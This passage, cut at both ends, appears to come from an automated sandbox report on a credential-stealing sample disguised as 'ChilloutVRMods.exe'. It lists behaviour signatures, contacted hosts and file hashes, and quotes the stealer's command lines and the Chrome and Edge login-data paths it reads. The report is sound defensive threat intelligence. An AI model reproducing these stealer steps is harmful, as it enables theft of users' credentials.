\"00000000-00002044.00000001.199487.738C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":3,"id":"string-455","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"CreateMutexW\" (Indicator: \"CreateMutex\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"$70","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"StartupProfileData-NonInteractive\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00004788]\n Dropped file: \"config.json\" - Location: [%APPDATA%\\WindowsSystemService\\config.json]- [targetUID: 00000000-00004592]\n Dropped file: \"service.log\" - Location: [%APPDATA%\\WindowsSystemService\\Logs\\service.log]- [targetUID: 00000000-00004592]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files with image extension","description":"\"python.png\" has type \"PNG image data 100 x 99 8-bit colormap non-interlaced\" and extension \"png\"","origin":"Binary File","mitre_attack_id":"T1105","id":"binary-56","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Unusual Characteristics","name":"Input file contains API references not part of its Import Address Table (IAT)","description":"Found string \"GetSystemTimePreciseAsFileTime\" (Source: ChilloutVRMods.exe, API is part of module: KERNELBASE.DLL)\n Found string \"GetTempPath2W\" (Source: ChilloutVRMods.exe, API is part of module: KERNELBASE.DLL)","origin":"File/Memory","mitre_attack_id":"T1106","relevance":10,"id":"string-64","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"libcrypto-1_1.dll\" was detected as \"Microsoft Visual C++ 8.0\"\n \"libssl-1_1.dll\" was detected as \"Microsoft Visual C++ 8.0\"\n \"python3.dll\" was detected as \"Microsoft Visual C++ vx.x DLL\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Unusual Characteristics","name":"Possibly uses a Windows Server utility","description":"\"RuntimeBroker.exe\" (Indicator: \"runtimebroker.exe\")\n \"backgroundTaskHost.exe\" (Indicator: \"backgroundtaskhost.exe\")","origin":"File/Memory","relevance":10,"id":"string-65","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 5884)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 2044)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"May check for the presence of a forensics/monitoring tool","description":"Found string \"\\Device\\HarddiskVolume3\\Windows\\System32\\taskkill.exe\" (Indicator: \"taskkill.exe\"; Source: \"00000000-00003736-00000BC0-2096498982\")\n Found string \"%WINDIR%\\SYSTEM32\\taskkill.exe\" (Indicator: \"taskkill.exe\"; Source: \"00000000-00003736-00000BC0-2096500567\")\n Found string \"%WINDIR%\\system32\\taskkill.exe\" (Indicator: \"taskkill.exe\"; Source: \"00000000-00005728-00000C47-1403367962\")","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":3,"id":"string-45","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"suspicious","category":"Exploit/Shellcode","name":"Contains escaped byte string (often part of obfuscated shellcode)","description":"$71","origin":"File/Memory","mitre_attack_id":"T1140","relevance":10,"id":"string-15","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"4/26 Antivirus vendors marked sample as malicious (15% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"suspicious","category":"General","name":"Detected suspicious script execution from temp folder","description":"Process \"cscript.exe\" with commandline \"cscript //nologo //B \"%TEMP%\\\\system_check_1788280749172.vbs\"\" (UID: 00000000-00004004)","origin":"Monitored Target","mitre_attack_id":"T1059","relevance":5,"id":"target-224","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"suspicious","category":"General","name":"PE file has unusual entropy resources","description":"\"python.exe\" has resource with unusual entropy \"RT_ICON:7.923117842706179\"\n \"python.exe\" has resource with unusual entropy \"RT_ICON:7.936953958344767\"\n \"pythonw.exe\" has resource with unusual entropy \"RT_ICON:7.898771226974841\"\n \"pythonw.exe\" has resource with unusual entropy \"RT_ICON:7.925957091553596\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":5,"id":"static-92","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"suspicious","category":"General","name":"Writes archive files","description":"\"zeppskdd.exe\" writes archive file \"%TEMP%\\python310.zip\"","origin":"API Call","mitre_attack_id":"T1560","relevance":5,"id":"api-168","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"$72","origin":"Binary File","mitre_attack_id":"T1105","relevance":5,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"$73","origin":"API Call","mitre_attack_id":"T1105","relevance":5,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 34.117.59.81 on port 443 is sent without HTTP header\n TCP traffic to 162.159.128.233 on port 443 is sent without HTTP header\n TCP traffic to 23.55.236.140 on port 443 is sent without HTTP header\n TCP traffic to 151.101.64.223 on port 443 is sent without HTTP header\n TCP traffic to 151.101.192.223 on port 443 is sent without HTTP header\n TCP traffic to 160.202.167.55 on port 443 is sent without HTTP header\n TCP traffic to 45.112.123.227 on port 443 is sent without HTTP header\n TCP traffic to 45.112.123.239 on port 443 is sent without HTTP header\n TCP traffic to 94.139.32.11 on port 443 is sent without HTTP header\n TCP traffic to 45.112.123.230 on port 443 is sent without HTTP header\n TCP traffic to 108.181.20.35 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"$74","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$75","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"suspicious","category":"System Security","name":"Modifies Software Policy Settings","description":"$76","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"$77","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"$78","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Timestamp in PE header is very old or in the future","description":"\"ChilloutVRMods.exe\" claims program is from Sun Jun 7 18:45:01 1981","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-3","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Attempts to stop multiple expected running processes on the machine","description":"$79","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-604","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"PE file contains executable resources","description":"ChilloutVRMods.exe has PE file in resource with name: \"RT_RCDATA\" and filetype:PE32+ executable for MS Windows 6.01 (DLL)\n x86-64\n 6 sections","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":10,"id":"static-97","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Terminates other processes using tskill/taskkill","description":"$7a","origin":"Monitored Target","mitre_attack_id":"T1489","relevance":9,"id":"target-9","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Tries to hide tracks of having downloaded a file from the internet","description":"\"ChilloutVRMods.exe\" opened \"C:\\ChilloutVRMods.exe:Zone.Identifier\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-42","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"malicious","category":"Environment Awareness","name":"Tries to gather information about running processes on a system","description":"Process \"tasklist.exe\" with commandline \"tasklist /FO CSV /NH\" (UID: 00000000-00005868)\n Process \"tasklist.exe\" with commandline \"tasklist /FO CSV /NH\" (UID: 00000000-00002656)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-136","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"malicious","category":"General","name":"Execute Python scripts with dropped interpreter (Python execution from different path)","description":"Process \"python.exe\" with commandline \"%LOCALAPPDATA%\\\\btwStealer-local\\\\output\\\\browser_forensics.py\" (UID: 00000000-00003736)","origin":"Monitored Target","mitre_attack_id":"T1059.006","relevance":5,"id":"target-182","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"malicious","category":"Network Related","name":"Attempts to identify external IP address","description":"\"ipinfo.io\"","origin":"Network Traffic","mitre_attack_id":"T1016","relevance":6,"id":"network-24","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"malicious","category":"Network Related","name":"Contacts multiple hosts","description":"Contacted 11 (or more) hosts in at least 0 different cls.countries","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":9,"id":"network-17","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Attempts to obtain browser login credentials (file access)","description":"\"python.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data\"\n \"python.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data\"\n \"python.exe\" trying to open a file \"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data\"\n \"python.exe\" trying to open a file \"%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\Login Data\"","origin":"API Call","mitre_attack_id":"T1555.003","relevance":10,"id":"api-281","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Observed sensitive data harvesting behavior","description":"Identified stealer based malicious activity","origin":"Indicator Combinations","relevance":7,"id":"summary-46","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal browser sensitive information (file access)","description":"$7b","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-96","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"malicious","category":"System Security","name":"Executes powershell requesting to bypass execution policy","description":"$7c","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":5,"id":"target-29","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"malicious","category":"System Security","name":"Uses tskill/taskkill excessively (often used to disable security tools)","description":"Process \"taskkill.exe\" spawned very often","origin":"Monitored Target","mitre_attack_id":"T1562.001","relevance":7,"id":"target-64","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns many processes","description":"$7d","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]}],"incidents":[{"name":"Spyware","details_count":1,"details":[{"detail":"Tries to steal browser sensitive information (file access)"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Stealer/Phishing","details_count":1,"details":[{"detail":"Reads FTP client related files"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Persistence","details_count":2,"details":[{"detail":"Creates new processes"},{"detail":"Spawns many processes"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Fingerprint","details_count":2,"details":[{"detail":"Attempts to identify external IP address"},{"detail":"Tries to gather information about running processes on a system"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Evasive","details_count":5,"details":[{"detail":"Tries to hide tracks of having downloaded a file from the internet"},{"detail":"Executes WMI queries known to be used for VM detection"},{"detail":"May check for the presence of a forensics/monitoring tool"},{"detail":"Found a reference to a WMI query string known to be used for VM detection"},{"detail":"Writes archive files"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Exploit","details_count":1,"details":[{"detail":"Contains escaped byte string (often part of obfuscated shellcode)"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 11 domains and 11 hosts"}],"sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]}],"intel_graph":{"map":{"Domain:api.gofile.io":{"type":"Domain","value":"api.gofile.io"},"Domain:catbox.moe":{"type":"Domain","value":"catbox.moe"},"Domain:discord.com":{"type":"Domain","value":"discord.com"},"Domain:files.pythonhosted.org":{"type":"Domain","value":"files.pythonhosted.org"},"Domain:globalcdn.nuget.org":{"type":"Domain","value":"globalcdn.nuget.org"},"Domain:ipinfo.io":{"type":"Domain","value":"ipinfo.io"},"Domain:pypi.org":{"type":"Domain","value":"pypi.org"},"Domain:store1.gofile.io":{"type":"Domain","value":"store1.gofile.io"},"Domain:store2.gofile.io":{"type":"Domain","value":"store2.gofile.io"},"Domain:store3.gofile.io":{"type":"Domain","value":"store3.gofile.io"},"Domain:store4.gofile.io":{"type":"Domain","value":"store4.gofile.io"},"File:000486aaac9dd21e88b3dc65fd854dd83519b1fbcc224a70530bc3ec8cbd1a5d":{"type":"File","value":"000486aaac9dd21e88b3dc65fd854dd83519b1fbcc224a70530bc3ec8cbd1a5d"},"File:02f0e53fdda9197491f06b23f60eacc2c262adb14490ef49772c5ef799ced124":{"type":"File","value":"02f0e53fdda9197491f06b23f60eacc2c262adb14490ef49772c5ef799ced124"},"File:040d121a3179f49cd3f33f4bc998bc8f78b7f560bfd93f279224d69e76a06e92":{"type":"File","value":"040d121a3179f49cd3f33f4bc998bc8f78b7f560bfd93f279224d69e76a06e92"},"File:04e7ccbdcad7cbaf0ed28692fb08eab832c38aad9071749037ee7a58f45e9d7d":{"type":"File","value":"04e7ccbdcad7cbaf0ed28692fb08eab832c38aad9071749037ee7a58f45e9d7d"},"File:16480ede0430be5249481a9bfb843eb0ef98f93b467a5428352fc23cc8c9051d":{"type":"File","value":"16480ede0430be5249481a9bfb843eb0ef98f93b467a5428352fc23cc8c9051d"},"File:32c09c38867d9fe04cc2ca64c8653556ed8a28a3da113fd61da3ed2b56bb87ba":{"type":"File","value":"32c09c38867d9fe04cc2ca64c8653556ed8a28a3da113fd61da3ed2b56bb87ba"},"File:35cdd122679041ebef264de5626b7805f3f66c8ae6cc451b8bc520be647fa007":{"type":"File","value":"35cdd122679041ebef264de5626b7805f3f66c8ae6cc451b8bc520be647fa007"},"File:3669e56e99ae3a944fbe7845f0be05aea96a603717e883d56a27dc356f8c2f2c":{"type":"File","value":"3669e56e99ae3a944fbe7845f0be05aea96a603717e883d56a27dc356f8c2f2c"},"File:384993b2b8cfcbf155e63f0ee2383a9f9483de92ab73736ff84590a0c4ca2690":{"type":"File","value":"384993b2b8cfcbf155e63f0ee2383a9f9483de92ab73736ff84590a0c4ca2690"},"File:4c2649dc69a8874b91646723aacb84c565efeaa4277c46392055bca9a10497a8":{"type":"File","value":"4c2649dc69a8874b91646723aacb84c565efeaa4277c46392055bca9a10497a8"},"File:50daeb3985302a8d85ce8167b0bf08b9da43e7d51ceae50e8e1cdfb0edf218c6":{"type":"File","value":"50daeb3985302a8d85ce8167b0bf08b9da43e7d51ceae50e8e1cdfb0edf218c6"},"File:552a0c4d10f2e2f3af0e264a526c41837a8c0de24c29a848d89eb84f2c3e9652":{"type":"File","value":"552a0c4d10f2e2f3af0e264a526c41837a8c0de24c29a848d89eb84f2c3e9652"},"File:664c3e52f914e351bb8a66ce2465ee0d40acab1d2a6b3167ae6acf6f1d1724d2":{"type":"File","value":"664c3e52f914e351bb8a66ce2465ee0d40acab1d2a6b3167ae6acf6f1d1724d2"},"File:6cdfccca75d997a7035e22747edb9a8699a9097c795e8fa2cdc25f0b19605ac8":{"type":"File","value":"6cdfccca75d997a7035e22747edb9a8699a9097c795e8fa2cdc25f0b19605ac8"},"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b":{"type":"File","value":"70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b"},"File:728d21be4d47dd664caf9fa60c1369fe059bc0498edd383b27491d0dee23e439":{"type":"File","value":"728d21be4d47dd664caf9fa60c1369fe059bc0498edd383b27491d0dee23e439"},"File:7497fbdbb98afca4ac455e3a057c59bcdebaf1280e25c94741dc301f05cb53e5":{"type":"File","value":"7497fbdbb98afca4ac455e3a057c59bcdebaf1280e25c94741dc301f05cb53e5"},"File:7b9d76d4a25b95cde44e944683b840bfcb9d581bd4d4b39bb03d78cc7b07bfe7":{"type":"File","value":"7b9d76d4a25b95cde44e944683b840bfcb9d581bd4d4b39bb03d78cc7b07bfe7"},"File:831ba87cb1a91d4581f0abbcc4966c6f4b332536f70cf481f609c44cc3d987c2":{"type":"File","value":"831ba87cb1a91d4581f0abbcc4966c6f4b332536f70cf481f609c44cc3d987c2"},"File:8d5e09791b8b251676e16bdd66a7118d88b10b66ad80a87d5897fadbefb91790":{"type":"File","value":"8d5e09791b8b251676e16bdd66a7118d88b10b66ad80a87d5897fadbefb91790"},"File:94a83686261e9364cf3386b61a01a9f70936e8547da8962d16f1f850226b8954":{"type":"File","value":"94a83686261e9364cf3386b61a01a9f70936e8547da8962d16f1f850226b8954"},"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7":{"type":"File","value":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},"File:9ecec72c5fe3c83c122043cad8ceb80d239d99d03b8ea665490bbced183ce42a":{"type":"File","value":"9ecec72c5fe3c83c122043cad8ceb80d239d99d03b8ea665490bbced183ce42a"},"File:a72ceee8f605810ad7394a51fbbad37552cabb18e96b3c155764749b193db341":{"type":"File","value":"a72ceee8f605810ad7394a51fbbad37552cabb18e96b3c155764749b193db341"},"File:b1e3a51dab45d473d8772cab626ad93699e1b4de07852b0f8b008bd88c91095c":{"type":"File","value":"b1e3a51dab45d473d8772cab626ad93699e1b4de07852b0f8b008bd88c91095c"},"File:b7c0e42c1a60a2a062b899c8d4ebd0c50ef956177ba21785ce07c517c143aeaf":{"type":"File","value":"b7c0e42c1a60a2a062b899c8d4ebd0c50ef956177ba21785ce07c517c143aeaf"},"File:b8586a6d46e43c67377438b43499c863700dea87a51bd97dae41ab97db5beb0e":{"type":"File","value":"b8586a6d46e43c67377438b43499c863700dea87a51bd97dae41ab97db5beb0e"},"File:cf0edfd508d11bffb63d1b104b6099e0f14ea0fada762f88364e7163f2185f06":{"type":"File","value":"cf0edfd508d11bffb63d1b104b6099e0f14ea0fada762f88364e7163f2185f06"},"File:e02233348ab5fe827ee3221b4a7fee57a46499d428fb47f9a8dbd703c178183f":{"type":"File","value":"e02233348ab5fe827ee3221b4a7fee57a46499d428fb47f9a8dbd703c178183f"},"File:e1d6f78a72836ea120bd27a33ae89cbdc3f3ca7d9d0231aaa3aac91996d2fa4e":{"type":"File","value":"e1d6f78a72836ea120bd27a33ae89cbdc3f3ca7d9d0231aaa3aac91996d2fa4e"},"File:e6d97406ff2496e02d0ec3c6f73d4382d24f222e51bcd70b8776387c43043353":{"type":"File","value":"e6d97406ff2496e02d0ec3c6f73d4382d24f222e51bcd70b8776387c43043353"},"File:f125a885c10e1be4b12d988d6c19128890e7add75baa935fe1354721aa2dea3e":{"type":"File","value":"f125a885c10e1be4b12d988d6c19128890e7add75baa935fe1354721aa2dea3e"},"File:f281c2e252ed59dd96726dbb2de529a2b07b818e9cc3799d1ffa9883e3028ed8":{"type":"File","value":"f281c2e252ed59dd96726dbb2de529a2b07b818e9cc3799d1ffa9883e3028ed8"},"File:f95673803fda1b5411820cd637229c935489ae030c2271376313ded92255aec6":{"type":"File","value":"f95673803fda1b5411820cd637229c935489ae030c2271376313ded92255aec6"},"File:fe5666c1c8215cd2773744c815fb4a3b2f52f64cf0dde25d458441da22bf5568":{"type":"File","value":"fe5666c1c8215cd2773744c815fb4a3b2f52f64cf0dde25d458441da22bf5568"},"Ip:108.181.20.35":{"type":"Ip","value":"108.181.20.35"},"Ip:151.101.192.223":{"type":"Ip","value":"151.101.192.223"},"Ip:151.101.64.223":{"type":"Ip","value":"151.101.64.223"},"Ip:160.202.167.55":{"type":"Ip","value":"160.202.167.55"},"Ip:162.159.128.233":{"type":"Ip","value":"162.159.128.233"},"Ip:23.55.236.140":{"type":"Ip","value":"23.55.236.140"},"Ip:34.117.59.81":{"type":"Ip","value":"34.117.59.81"},"Ip:45.112.123.227":{"type":"Ip","value":"45.112.123.227"},"Ip:45.112.123.230":{"type":"Ip","value":"45.112.123.230"},"Ip:45.112.123.239":{"type":"Ip","value":"45.112.123.239"},"Ip:94.139.32.11":{"type":"Ip","value":"94.139.32.11"},"Url:/packages/01/3b/bf4a9a401ea2cd867aa4522a97ffa2f5b60a38c3249887f77f0f997d7743/pythonforwindows-1.0.4-py3-none-any.whl":{"type":"Url","value":"/packages/01/3b/bf4a9a401ea2cd867aa4522a97ffa2f5b60a38c3249887f77f0f997d7743/pythonforwindows-1.0.4-py3-none-any.whl"},"Url:/packages/33/b1/7afc96d041d982c27bc2df6f853d43f01fd273e3d39d04be3647ddeb533d/pywin32-312-cp310-cp310-win_amd64.whl":{"type":"Url","value":"/packages/33/b1/7afc96d041d982c27bc2df6f853d43f01fd273e3d39d04be3647ddeb533d/pywin32-312-cp310-cp310-win_amd64.whl"},"Url:/packages/54/2f/e97a1b8294db0daaa87012c24a7bb714147c7ade7656973fd6c736b484ff/pycryptodome-3.23.0-cp37-abi3-win_amd64.whl":{"type":"Url","value":"/packages/54/2f/e97a1b8294db0daaa87012c24a7bb714147c7ade7656973fd6c736b484ff/pycryptodome-3.23.0-cp37-abi3-win_amd64.whl"},"Url:/simple/pycryptodome/":{"type":"Url","value":"/simple/pycryptodome/"},"Url:/simple/pywin32/":{"type":"Url","value":"/simple/pywin32/"}},"chains":[{"id":"sandbox_network","root":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","edges":[{"edge_kind":"contacted_ip","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"Ip:34.117.59.81"},{"edge_kind":"contacted_ip","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"Ip:162.159.128.233"},{"edge_kind":"contacted_ip","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"Ip:23.55.236.140"},{"edge_kind":"contacted_ip","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"Ip:151.101.64.223"},{"edge_kind":"contacted_ip","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"Ip:151.101.192.223"},{"edge_kind":"contacted_ip","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"Ip:160.202.167.55"},{"edge_kind":"contacted_ip","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"Ip:45.112.123.227"},{"edge_kind":"contacted_ip","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"Ip:45.112.123.239"},{"edge_kind":"contacted_ip","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"Ip:94.139.32.11"},{"edge_kind":"contacted_ip","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"Ip:45.112.123.230"},{"edge_kind":"contacted_ip","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"Ip:108.181.20.35"},{"edge_kind":"contacted_domain","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"Domain:api.gofile.io"},{"edge_kind":"resolves_to","from_key":"Domain:api.gofile.io","to_key":"Ip:160.202.167.55"},{"edge_kind":"contacted_domain","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"Domain:catbox.moe"},{"edge_kind":"resolves_to","from_key":"Domain:catbox.moe","to_key":"Ip:108.181.20.35"},{"edge_kind":"contacted_domain","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"Domain:discord.com"},{"edge_kind":"resolves_to","from_key":"Domain:discord.com","to_key":"Ip:162.159.128.233"},{"edge_kind":"contacted_domain","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"Domain:files.pythonhosted.org"},{"edge_kind":"resolves_to","from_key":"Domain:files.pythonhosted.org","to_key":"Ip:151.101.64.223"},{"edge_kind":"contacted_domain","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"Domain:globalcdn.nuget.org"},{"edge_kind":"resolves_to","from_key":"Domain:globalcdn.nuget.org","to_key":"Ip:23.55.236.140"},{"edge_kind":"contacted_domain","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"Domain:ipinfo.io"},{"edge_kind":"resolves_to","from_key":"Domain:ipinfo.io","to_key":"Ip:34.117.59.81"},{"edge_kind":"contacted_domain","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"Domain:pypi.org"},{"edge_kind":"resolves_to","from_key":"Domain:pypi.org","to_key":"Ip:151.101.64.223"},{"edge_kind":"contacted_domain","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"Domain:store1.gofile.io"},{"edge_kind":"resolves_to","from_key":"Domain:store1.gofile.io","to_key":"Ip:45.112.123.227"},{"edge_kind":"contacted_domain","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"Domain:store2.gofile.io"},{"edge_kind":"resolves_to","from_key":"Domain:store2.gofile.io","to_key":"Ip:45.112.123.239"},{"edge_kind":"contacted_domain","from_key":"File:70a0b041d945a1d26a65ae366537e5de7353f0a4b0b0c9abcbfe9eb6cfa8d44b","to_key":"Domain:store3.gofile.io"},{"edge_kind":"resolves_to","from_key":"Domain:store3.g